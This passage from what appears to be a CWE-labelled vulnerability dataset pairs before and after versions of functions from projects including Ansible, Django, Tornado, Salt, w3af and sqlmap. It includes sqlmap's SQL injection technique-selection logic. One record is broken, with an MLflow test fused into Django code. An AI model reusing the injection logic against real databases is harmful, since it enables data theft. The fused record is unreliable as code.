facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
self._display.debug(""Facts %s"" % facts)
if 'ansible_facts' in facts and 'ansible_service_mgr' in facts['ansible_facts']:
module = facts['ansible_facts']['ansible_service_mgr']
if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
module = 'service'
if module != 'auto':
# run the 'service' module
new_module_args = self._task.args.copy()
if 'use' in new_module_args:
del new_module_args['use']
# for backwards compatibility
if 'state' in new_module_args and new_module_args['state'] == 'running':
new_module_args['state'] = 'started'
if module in self.UNUSED_PARAMS:
for unused in self.UNUSED_PARAMS[module]:
if unused in new_module_args:
del new_module_args[unused]
self._display.warning('Ignoring ""%s"" as it is not used in ""%s""' % (unused, module))
self._display.vvvv(""Running %s"" % module)
result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
else:
result['failed'] = True
result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.'
return result",CWE-703,ansible/ansible,0aaee0272a07fa1cb5081290ec624975ba5b8aa2,"def run(self, tmp=None, task_vars=None):
''' handler for package operations '''
if task_vars is None:
task_vars = dict()
result = super(ActionModule, self).run(tmp, task_vars)
module = self._task.args.get('use', 'auto').lower()
if module == 'auto':
try:
module = self._templar.template('{{ansible_service_mgr}}')
except:
pass # could not get it from template!
if module == 'auto':
facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
self._display.debug(""Facts %s"" % facts)
if 'ansible_facts' in facts and 'ansible_service_mgr' in facts['ansible_facts']:
module = facts['ansible_facts']['ansible_service_mgr']
if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
module = 'service'
if module != 'auto':
# run the 'service' module
new_module_args = self._task.args.copy()
if 'use' in new_module_args:
del new_module_args['use']
# for backwards compatibility
if 'state' in new_module_args and new_module_args['state'] == 'running':
new_module_args['state'] = 'started'
if module in self.UNUSED_PARAMS:
for unused in self.UNUSED_PARAMS[module]:
if unused in new_module_args:
del new_module_args[unused]
self._display.warning('Ignoring ""%s"" as it is not used in ""%s""' % (unused, module))
self._display.vvvv(""Running %s"" % module)
result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
else:
result['failed'] = True
result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.'
return result"
,UNKNOWN,UNKNOWN,tests/types/test_schema.py,1,"def test_tensor_spec():
a1 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), ""a"")
a2 = TensorSpec(np.dtype(""float""), (-1, 3, 3), ""a"") # float defaults to float64
a3 = TensorSpec(np.dtype(""float""), [-1, 3, 3], ""a"")
a4 = TensorSpec(np.dtype(""int""), (-1, 3, 3), ""a"")
assert a1 == a2
assert a1 == a3
assert a1 != a4
b1 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), ""b"")
assert b1 != a1
with pytest.raises(TypeError, match=""Expected `dtype` to be instance""):
TensorSpec(""Unsupported"", (-1, 3, 3), ""a"")
with pytest.raises(TypeError, match=""Expected `shape` to be instance""):
TensorSpec(np.dtype(""float64""), np.array([-1, 2, 3]), ""b"")
with pytest.raises(
MlflowException,
match=""MLflow does not support size information in flexible numpy data types"",
):
TensorSpec(np.dtype("" 1:
for index in primary_key:
table_description[index] = table_description[index]._replace(pk=False)
return table_description",CWE-89,django/django,ec73fd67466e0e4841d9ecd0f217c02ce842d860,"def get_table_description(self, cursor, table_name):
""""""
Return a description of the table with the DB-API cursor.description
interface.
""""""
cursor.execute(
""PRAGMA table_xinfo(%s)"" % self.connection.ops.quote_name(table_name)
)
table_info = cursor.fetchall()
if not table_info:
raise DatabaseError(f""Table {table_name} does not exist (empty pragma)."")
collations = self._get_column_collations(cursor, table_name)
json_columns = set()
if self.connection.features.can_introspect_json_field:
for line in table_info:
column = line[1]
json_constraint_sql = '%%json_valid(""%s"")%%' % column
has_json_constraint = cursor.execute(
""""""
SELECT sql
FROM sqlite_master
WHERE
type = 'table' AND
name = %s AND
sql LIKE %s
"""""",
[table_name, json_constraint_sql],
).fetchone()
if has_json_constraint:
json_columns.add(column)
return [
FieldInfo(
name,
data_type,
get_field_size(data_type),
None,
None,
None,
not notnull,
default,
collations.get(name),
pk == 1,
name in json_columns,
)
for cid, name, data_type, notnull, default, pk, hidden in table_info
if hidden
in [
0, # Normal column.
2, # Virtual generated column.
3, # Stored generated column.
]
]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/runner/lib/changes.py,0,"def __init__(self, args, git):
""""""
:type args: CommonConfig
:type git: Git
""""""
self.args = args
try:
self.branch = os.environ['BRANCH']
self.is_pr = os.environ['IS_PULL_REQUEST'] == 'true'
self.is_tag = os.environ['IS_GIT_TAG'] == 'true'
self.commit = os.environ['COMMIT']
self.project_id = os.environ['PROJECT_ID']
except KeyError as ex:
raise MissingEnvironmentVariable(name=ex.args[0])
if self.is_tag:
raise ChangeDetectionNotSupported('Change detection is not supported for tags.')
if self.is_pr:
self.paths = sorted(git.get_diff_names(['origin/%s' % self.branch, '--']))
self.diff = git.get_diff(['origin/%s' % self.branch, '--'])
else:
merge_runs = self.get_merge_runs(self.project_id, self.branch)
last_successful_commit = self.get_last_successful_commit(git, merge_runs)
if last_successful_commit:
self.paths = sorted(git.get_diff_names([last_successful_commit, self.commit]))
self.diff = git.get_diff([last_successful_commit, self.commit])
else:
# tracked files (including unchanged)
self.paths = sorted(git.get_file_names(['--cached']))
self.diff = []",,ansible/ansible,a491adc4252bfe6c05aa6eeeccae4c9633e52cc0,"def __init__(self, args, git):
""""""
:type args: CommonConfig
:type git: Git
""""""
self.args = args
try:
self.branch = os.environ['BRANCH']
self.is_pr = os.environ['IS_PULL_REQUEST'] == 'true'
self.is_tag = os.environ['IS_GIT_TAG'] == 'true'
self.commit = os.environ['COMMIT']
self.project_id = os.environ['PROJECT_ID']
except KeyError as ex:
raise MissingEnvironmentVariable(name=ex.args[0])
if self.is_tag:
raise ChangeDetectionNotSupported('Change detection is not supported for tags.')
if self.is_pr:
self.paths = sorted(git.get_diff_names(['origin/%s' % self.branch, '--']))
self.diff = git.get_diff(['origin/%s' % self.branch, '--'])
else:
merge_runs = self.get_merge_runs(self.project_id, self.branch)
last_successful_commit = self.get_last_successful_commit(git, merge_runs)
if last_successful_commit:
self.paths = sorted(git.get_diff_names([last_successful_commit, self.commit]))
self.diff = git.get_diff([last_successful_commit, self.commit])
else:
# tracked files (including unchanged)
self.paths = sorted(git.get_file_names(['--cached']))
self.diff = None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httputil_test.py,0,"def test_invalid_cookies(self):
""""""
Cookie strings that go against RFC6265 but browsers will send if set
via document.cookie.
""""""
# Chunks without an equals sign appear as unnamed values per
# https://bugzilla.mozilla.org/show_bug.cgi?id=169091
self.assertIn(
""django_language"",
parse_cookie(""abc=def; unnamed; django_language=en"").keys(),
)
# Even a double quote may be an unamed value.
self.assertEqual(parse_cookie('a=b; ""; c=d'), {""a"": ""b"", """": '""', ""c"": ""d""})
# Spaces in names and values, and an equals sign in values.
self.assertEqual(
parse_cookie(""a b c=d e = f; gh=i""), {""a b c"": ""d e = f"", ""gh"": ""i""}
)
# More characters the spec forbids.
self.assertEqual(
parse_cookie('a b,c<>@:/[]?{}=d "" =e,f g'),
{""a b,c<>@:/[]?{}"": 'd "" =e,f g'},
)
# Unicode characters. The spec only allows ASCII.
self.assertEqual(
parse_cookie(""saint=André Bessette""),
{""saint"": native_str(""André Bessette"")},
)
# Browsers don't send extra whitespace or semicolons in Cookie headers,
# but parse_cookie() should parse whitespace the same way
# document.cookie parses whitespace.
self.assertEqual(
parse_cookie("" = b ; ; = ; c = ; ""), {"""": ""b"", ""c"": """"}
)",CWE-Unknown,tornadoweb/tornado,0a39ba8b6ac0beb48a3244098cfa72ce1f59f215,"def test_invalid_cookies(self):
""""""
Cookie strings that go against RFC6265 but browsers will send if set
via document.cookie.
""""""
# Chunks without an equals sign appear as unnamed values per
# https://bugzilla.mozilla.org/show_bug.cgi?id=169091
self.assertIn(
""django_language"",
parse_cookie(""abc=def; unnamed; django_language=en"").keys(),
)
# Even a double quote may be an unamed value.
self.assertEqual(parse_cookie('a=b; ""; c=d'), {""a"": ""b"", """": '""', ""c"": ""d""})
# Spaces in names and values, and an equals sign in values.
self.assertEqual(
parse_cookie(""a b c=d e = f; gh=i""), {""a b c"": ""d e = f"", ""gh"": ""i""}
)
# More characters the spec forbids.
self.assertEqual(
parse_cookie('a b,c<>@:/[]?{}=d "" =e,f g'),
{""a b,c<>@:/[]?{}"": 'd "" =e,f g'},
)
# Unicode characters. The spec only allows ASCII.
self.assertEqual(
parse_cookie(""saint=André Bessette""),
{""saint"": native_str(""André Bessette"")},
)
# Browsers don't send extra whitespace or semicolons in Cookie headers,
# but parse_cookie() should parse whitespace the same way
# document.cookie parses whitespace.
self.assertEqual(
parse_cookie("" = b ; ; = ; c = ; ""), {"""": ""b"", ""c"": """"}
)"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_connections.py,1,"def test_post_should_response_201_redacted_password(self, test_client, body, expected_response):
response = test_client.post(""/public/connections"", json=body)
assert response.status_code == 201
assert response.json() == expected_response",CWE-703,apache/airflow,995ec1eaccf68bb956d425d5cfbef84ad8bac6d2,"def test_post_should_response_201_redacted_password(self, test_client, body, expected_response):
response = test_client.post(""/public/connections"", json=body)
assert response.status_code == 201
assert response.json() == expected_response"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/widgets.py,0,"def value_from_datadict(self, data, files, name):
try:
getter = data.getlist
except AttributeError:
getter = data.get
return getter(name)",CWE-Unknown,django/django,ff0c6b83e590e36555639563c4bd1d808f416455,"def value_from_datadict(self, data, files, name):
try:
getter = data.getlist
except AttributeError:
getter = data.get
return getter(name)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,thirdparty/socks/socks.py,0,"def wrapmodule(module):
""""""wrapmodule(module)
Attempts to replace a module's socket library with a SOCKS socket. Must set
a default proxy using setdefaultproxy(...) first.
This will only work on modules that import socket directly into the namespace;
most of the Python Standard Library falls into this category.
""""""
if _defaultproxy != None:
module.socket.socket = socksocket
if _defaultproxy[0] == PROXY_TYPE_SOCKS4:
# Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280)
pass
else:
module.socket.create_connection = create_connection
else:
raise GeneralProxyError((4, ""no proxy specified""))",,sqlmapproject/sqlmap,557da5dee44f3703d007a4d97d950c1210a72b5c,"def wrapmodule(module):
""""""wrapmodule(module)
Attempts to replace a module's socket library with a SOCKS socket. Must set
a default proxy using setdefaultproxy(...) first.
This will only work on modules that import socket directly into the namespace;
most of the Python Standard Library falls into this category.
""""""
if _defaultproxy != None:
module.socket.socket = socksocket
module.socket.create_connection = create_connection
else:
raise GeneralProxyError((4, ""no proxy specified""))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/psxview.py,0,"def calculate(self):
addr_space = utils.load_as(self._config)
all_tasks = list(tasks.pslist(addr_space))
ps_sources = {}
# The keys are names of process sources. The values
# are dictionaries whose keys are physical process
# offsets and the values are _EPROCESS objects.
ps_sources['pslist'] = self.check_pslist(all_tasks)
ps_sources['psscan'] = self.check_psscan()
ps_sources['thrdproc'] = self.check_thrdproc(addr_space)
ps_sources['csrss'] = self.check_csrss_handles(all_tasks)
ps_sources['pspcid'] = self.check_pspcid(addr_space)
ps_sources['session'] = self.check_sessions(addr_space)
if addr_space.profile.metadata.get('major', 0) == 6 and addr_space.profile.metadata.get('minor', 0) >= 2:
ps_sources['deskthrd'] = {}
else:
ps_sources['deskthrd'] = self.check_desktop_thread(addr_space)
# Build a list of offsets from all sources
seen_offsets = []
for source in ps_sources.values():
for offset in source.keys():
if offset not in seen_offsets:
seen_offsets.append(offset)
yield offset, source[offset], ps_sources",,volatilityfoundation/volatility,8b4ed02f0028e75ee207a623fbb8c4b08589266d,"def calculate(self):
addr_space = utils.load_as(self._config)
all_tasks = list(tasks.pslist(addr_space))
ps_sources = {}
# The keys are names of process sources. The values
# are dictionaries whose keys are physical process
# offsets and the values are _EPROCESS objects.
ps_sources['pslist'] = self.check_pslist(all_tasks)
ps_sources['psscan'] = self.check_psscan()
ps_sources['thrdproc'] = self.check_thrdproc(addr_space)
ps_sources['csrss'] = self.check_csrss_handles(all_tasks)
ps_sources['pspcid'] = self.check_pspcid(addr_space)
ps_sources['session'] = self.check_sessions(addr_space)
if addr_space.profile.metadata.get('major', 0) == 6 and addr_space.profile.metadata.get('minor', 0) == 2:
ps_sources['deskthrd'] = {}
else:
ps_sources['deskthrd'] = self.check_desktop_thread(addr_space)
# Build a list of offsets from all sources
seen_offsets = []
for source in ps_sources.values():
for offset in source.keys():
if offset not in seen_offsets:
seen_offsets.append(offset)
yield offset, source[offset], ps_sources"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/discovery/findBackdoor.py,0,"def _check_if_exists(self, web_shell_url):
'''
Check if the file exists.
@parameter web_shell_url: The URL to check
'''
try:
response = self._uri_opener.GET(web_shell_url, cache=True)
except w3afException:
om.out.debug('Failed to GET webshell:' + web_shell_url)
else:
if self._is_possible_backdoor(response):
v = vuln.vuln()
v.setPluginName(self.getName())
v.setId(response.id)
v.setName('Possible web backdoor')
v.setSeverity(severity.HIGH)
v.setURL(response.getURL())
msg = 'A web backdoor was found at: ""%s""; this could ' \
'indicate that the server was hacked.' % v.getURL()
v.setDesc(msg)
kb.kb.append(self, 'backdoors', v)
om.out.vulnerability(v.getDesc(), severity=v.getSeverity())
fuzzable_requests = self._createFuzzableRequests(response)
self._fuzzable_requests_to_return += fuzzable_requests",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def _check_if_exists(self, web_shell_url):
'''
Check if the file exists.
@parameter web_shell_url: The URL to check
'''
try:
response = self._urlOpener.GET(web_shell_url, useCache=True)
except w3afException:
om.out.debug('Failed to GET webshell:' + web_shell_url)
else:
if self._is_possible_backdoor(response):
v = vuln.vuln()
v.setPluginName(self.getName())
v.setId(response.id)
v.setName('Possible web backdoor')
v.setSeverity(severity.HIGH)
v.setURL(response.getURL())
msg = 'A web backdoor was found at: ""%s""; this could ' \
'indicate that the server was hacked.' % v.getURL()
v.setDesc(msg)
kb.kb.append(self, 'backdoors', v)
om.out.vulnerability(v.getDesc(), severity=v.getSeverity())
fuzzable_requests = self._createFuzzableRequests(response)
self._fuzzable_requests_to_return += fuzzable_requests"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_wua.py,0,"def set_wu_settings(level=None,
recommended=None,
featured=None,
elevated=None,
msupdate=None,
day=None,
time=None):
'''
Change Windows Update settings. If no parameters are passed, the current
value will be returned.
Supported:
- Windows Vista / Server 2008
- Windows 7 / Server 2008R2
- Windows 8 / Server 2012
- Windows 8.1 / Server 2012R2
.. note:
Microsoft began using the Unified Update Platform (UUP) starting with
Windows 10 / Server 2016. The Windows Update settings have changed and
the ability to 'Save' Windows Update settings has been removed. Windows
Update settings are read-only. See MSDN documentation:
https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx
Args:
level (int):
Number from 1 to 4 indicating the update level:
1. Never check for updates
2. Check for updates but let me choose whether to download and install them
3. Download updates but let me choose whether to install them
4. Install updates automatically
recommended (bool):
Boolean value that indicates whether to include optional or
recommended updates when a search for updates and installation of
updates is performed.
featured (bool):
Boolean value that indicates whether to display notifications for
featured updates.
elevated (bool):
Boolean value that indicates whether non-administrators can perform
some update-related actions without administrator approval.
msupdate (bool):
Boolean value that indicates whether to turn on Microsoft Update for
other Microsoft products
day (str):
Days of the week on which Automatic Updates installs or uninstalls
updates. Accepted values:
- Everyday
- Monday
- Tuesday
- Wednesday
- Thursday
- Friday
- Saturday
time (str):
Time at which Automatic Updates installs or uninstalls updates. Must
be in the ##:## 24hr format, eg. 3:00 PM would be 15:00. Must be in
1 hour increments.
Returns:
dict: Returns a dictionary containing the results.
CLI Examples:
.. code-block:: bash
salt '*' win_wua.set_wu_settings level=4 recommended=True featured=False
'''
# The AutomaticUpdateSettings.Save() method used in this function does not
# work on Windows 10 / Server 2016. It is called in throughout this function
# like this:
#
# with salt.utils.winapi.Com():
# obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')
# obj_au_settings = obj_au.Settings
# obj_au_settings.Save()
#
# The `Save()` method reports success but doesn't actually change anything.
# Windows Update settings are read-only in Windows 10 / Server 2016. There's
# a little blurb on MSDN that mentions this, but gives no alternative for
# changing these settings in Windows 10 / Server 2016.
#
# https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx
#
# Apparently the Windows Update framework in Windows Vista - Windows 8.1 has
# been changed quite a bit in Windows 10 / Server 2016. It is now called the
# Unified Update Platform (UUP). I haven't found an API or a Powershell
# commandlet for working with the the UUP. Perhaps there will be something
# forthcoming. The `win_lgpo` module might be an option for changing the
# Windows Update settings using local group policy.
ret = {'Success': True}
# Initialize the PyCom system
with salt.utils.winapi.Com():
# Create an AutoUpdate object
obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')
# Create an AutoUpdate Settings Object
obj_au_settings = obj_au.Settings
# Only change the setting if it's passed
if level is not None:
obj_au_settings.NotificationLevel = int(level)
result = obj_au_settings.Save()
if result is None:
ret['Level'] = level
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if recommended is not None:
obj_au_settings.IncludeRecommendedUpdates = recommended
result = obj_au_settings.Save()
if result is None:
ret['Recommended'] = recommended
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if featured is not None:
obj_au_settings.FeaturedUpdatesEnabled = featured
result = obj_au_settings.Save()
if result is None:
ret['Featured'] = featured
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if elevated is not None:
obj_au_settings.NonAdministratorsElevated = elevated
result = obj_au_settings.Save()
if result is None:
ret['Elevated'] = elevated
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if day is not None:
# Check that day is valid
days = {'Everyday': 0,
'Sunday': 1,
'Monday': 2,
'Tuesday': 3,
'Wednesday': 4,
'Thursday': 5,
'Friday': 6,
'Saturday': 7}
if day not in days:
ret['Comment'] = ""Day needs to be one of the following: Everyday,"" \
""Monday, Tuesday, Wednesday, Thursday, Friday, "" \
""Saturday""
ret['Success'] = False
else:
# Set the numeric equivalent for the day setting
obj_au_settings.ScheduledInstallationDay = days[day]
result = obj_au_settings.Save()
if result is None:
ret['Day'] = day
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if time is not None:
# Check for time as a string: if the time is not quoted, yaml will
# treat it as an integer
if not isinstance(time, six.string_types):
ret['Comment'] = ""Time argument needs to be a string; it may need to""\
""be quoted. Passed {0}. Time not set."".format(time)
ret['Success'] = False
# Check for colon in the time
elif ':' not in time:
ret['Comment'] = ""Time argument needs to be in 00:00 format."" \
"" Passed {0}. Time not set."".format(time)
ret['Success'] = False
else:
# Split the time by :
t = time.split("":"")
# We only need the hours value
obj_au_settings.FeaturedUpdatesEnabled = t[0]
result = obj_au_settings.Save()
if result is None:
ret['Time'] = time
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if msupdate is not None:
# Microsoft Update requires special handling
# First load the MS Update Service Manager
with salt.utils.winapi.Com():
obj_sm = win32com.client.Dispatch('Microsoft.Update.ServiceManager')
# Give it a bogus name
obj_sm.ClientApplicationID = ""My App""
if msupdate:
# msupdate is true, so add it to the services
try:
obj_sm.AddService2('7971f918-a847-4430-9279-4a52d1efe18d', 7, '')
ret['msupdate'] = msupdate
except Exception as error:
hr, msg, exc, arg = error.args # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking
# Consider checking for -2147024891 (0x80070005) Access Denied
ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
ret['Success'] = False
else:
# msupdate is false, so remove it from the services
# check to see if the update is there or the RemoveService function
# will fail
if _get_msupdate_status():
# Service found, remove the service
try:
obj_sm.RemoveService('7971f918-a847-4430-9279-4a52d1efe18d')
ret['msupdate'] = msupdate
except Exception as error:
hr, msg, exc, arg = error.args # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking
# Consider checking for the following
# -2147024891 (0x80070005) Access Denied
# -2145091564 (0x80248014) Service Not Found (shouldn't get
# this with the check for _get_msupdate_status above
ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
ret['Success'] = False
else:
ret['msupdate'] = msupdate
ret['Reboot'] = get_needs_reboot()
return ret",,saltstack/salt,8f3a5dcafdcc3edb1784e8cf9aff44738d285446,"def set_wu_settings(level=None,
recommended=None,
featured=None,
elevated=None,
msupdate=None,
day=None,
time=None):
'''
Change Windows Update settings. If no parameters are passed, the current
value will be returned.
Supported:
- Windows Vista / Server 2008
- Windows 7 / Server 2008R2
- Windows 8 / Server 2012
- Windows 8.1 / Server 2012R2
.. note:
Microsoft began using the Unified Update Platform (UUP) starting with
Windows 10 / Server 2016. The Windows Update settings have changed and
the ability to 'Save' Windows Update settings has been removed. Windows
Update settings are read-only. See MSDN documentation:
https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx
Args:
level (int):
Number from 1 to 4 indicating the update level:
1. Never check for updates
2. Check for updates but let me choose whether to download and install them
3. Download updates but let me choose whether to install them
4. Install updates automatically
recommended (bool):
Boolean value that indicates whether to include optional or
recommended updates when a search for updates and installation of
updates is performed.
featured (bool):
Boolean value that indicates whether to display notifications for
featured updates.
elevated (bool):
Boolean value that indicates whether non-administrators can perform
some update-related actions without administrator approval.
msupdate (bool):
Boolean value that indicates whether to turn on Microsoft Update for
other Microsoft products
day (str):
Days of the week on which Automatic Updates installs or uninstalls
updates. Accepted values:
- Everyday
- Monday
- Tuesday
- Wednesday
- Thursday
- Friday
- Saturday
time (str):
Time at which Automatic Updates installs or uninstalls updates. Must
be in the ##:## 24hr format, eg. 3:00 PM would be 15:00. Must be in
1 hour increments.
Returns:
dict: Returns a dictionary containing the results.
CLI Examples:
.. code-block:: bash
salt '*' win_wua.set_wu_settings level=4 recommended=True featured=False
'''
# The AutomaticUpdateSettings.Save() method used in this function does not
# work on Windows 10 / Server 2016. It is called in throughout this function
# like this:
#
# with salt.utils.winapi.Com():
# obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')
# obj_au_settings = obj_au.Settings
# obj_au_settings.Save()
#
# The `Save()` method reports success but doesn't actually change anything.
# Windows Update settings are read-only in Windows 10 / Server 2016. There's
# a little blurb on MSDN that mentions this, but gives no alternative for
# changing these settings in Windows 10 / Server 2016.
#
# https://msdn.microsoft.com/en-us/library/aa385829(v=vs.85).aspx
#
# Apparently the Windows Update framework in Windows Vista - Windows 8.1 has
# been changed quite a bit in Windows 10 / Server 2016. It is now called the
# Unified Update Platform (UUP). I haven't found an API or a Powershell
# commandlet for working with the the UUP. Perhaps there will be something
# forthcoming. The `win_lgpo` module might be an option for changing the
# Windows Update settings using local group policy.
ret = {'Success': True}
# Initialize the PyCom system
with salt.utils.winapi.Com():
# Create an AutoUpdate object
obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')
# Create an AutoUpdate Settings Object
obj_au_settings = obj_au.Settings
# Only change the setting if it's passed
if level is not None:
obj_au_settings.NotificationLevel = int(level)
result = obj_au_settings.Save()
if result is None:
ret['Level'] = level
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if recommended is not None:
obj_au_settings.IncludeRecommendedUpdates = recommended
result = obj_au_settings.Save()
if result is None:
ret['Recommended'] = recommended
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if featured is not None:
obj_au_settings.FeaturedUpdatesEnabled = featured
result = obj_au_settings.Save()
if result is None:
ret['Featured'] = featured
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if elevated is not None:
obj_au_settings.NonAdministratorsElevated = elevated
result = obj_au_settings.Save()
if result is None:
ret['Elevated'] = elevated
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if day is not None:
# Check that day is valid
days = {'Everyday': 0,
'Sunday': 1,
'Monday': 2,
'Tuesday': 3,
'Wednesday': 4,
'Thursday': 5,
'Friday': 6,
'Saturday': 7}
if day not in days:
ret['Comment'] = ""Day needs to be one of the following: Everyday,"" \
""Monday, Tuesday, Wednesday, Thursday, Friday, "" \
""Saturday""
ret['Success'] = False
else:
# Set the numeric equivalent for the day setting
obj_au_settings.ScheduledInstallationDay = days[day]
result = obj_au_settings.Save()
if result is None:
ret['Day'] = day
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if time is not None:
# Check for time as a string: if the time is not quoted, yaml will
# treat it as an integer
if not isinstance(time, six.string_types):
ret['Comment'] = ""Time argument needs to be a string; it may need to""\
""be quoted. Passed {0}. Time not set."".format(time)
ret['Success'] = False
# Check for colon in the time
elif ':' not in time:
ret['Comment'] = ""Time argument needs to be in 00:00 format."" \
"" Passed {0}. Time not set."".format(time)
ret['Success'] = False
else:
# Split the time by :
t = time.split("":"")
# We only need the hours value
obj_au_settings.FeaturedUpdatesEnabled = t[0]
result = obj_au_settings.Save()
if result is None:
ret['Time'] = time
else:
ret['Comment'] = ""Settings failed to save. Check permissions.""
ret['Success'] = False
if msupdate is not None:
# Microsoft Update requires special handling
# First load the MS Update Service Manager
with salt.utils.winapi.Com():
obj_sm = win32com.client.Dispatch('Microsoft.Update.ServiceManager')
# Give it a bogus name
obj_sm.ClientApplicationID = ""My App""
if msupdate:
# msupdate is true, so add it to the services
try:
obj_sm.AddService2('7971f918-a847-4430-9279-4a52d1efe18d', 7, '')
ret['msupdate'] = msupdate
except Exception as error:
hr, msg, exc, arg = error.args # pylint: disable=W0633
# Consider checking for -2147024891 (0x80070005) Access Denied
ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
ret['Success'] = False
else:
# msupdate is false, so remove it from the services
# check to see if the update is there or the RemoveService function
# will fail
if _get_msupdate_status():
# Service found, remove the service
try:
obj_sm.RemoveService('7971f918-a847-4430-9279-4a52d1efe18d')
ret['msupdate'] = msupdate
except Exception as error:
hr, msg, exc, arg = error.args # pylint: disable=W0633
# Consider checking for the following
# -2147024891 (0x80070005) Access Denied
# -2145091564 (0x80248014) Service Not Found (shouldn't get
# this with the check for _get_msupdate_status above
ret['Comment'] = ""Failed with failure code: {0}"".format(exc[5])
ret['Success'] = False
else:
ret['msupdate'] = msupdate
ret['Reboot'] = get_needs_reboot()
return ret"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
""""""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
""""""
if conf.hexConvert:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.upper().startswith(""SELECT ""):
booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
query = query.replace(""DISTINCT "", """")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsName:
_ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
warnMsg = ""option '--dns-domain' will be ignored ""
warnMsg += ""as faster techniques are usable ""
warnMsg += ""(%s) "" % _
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
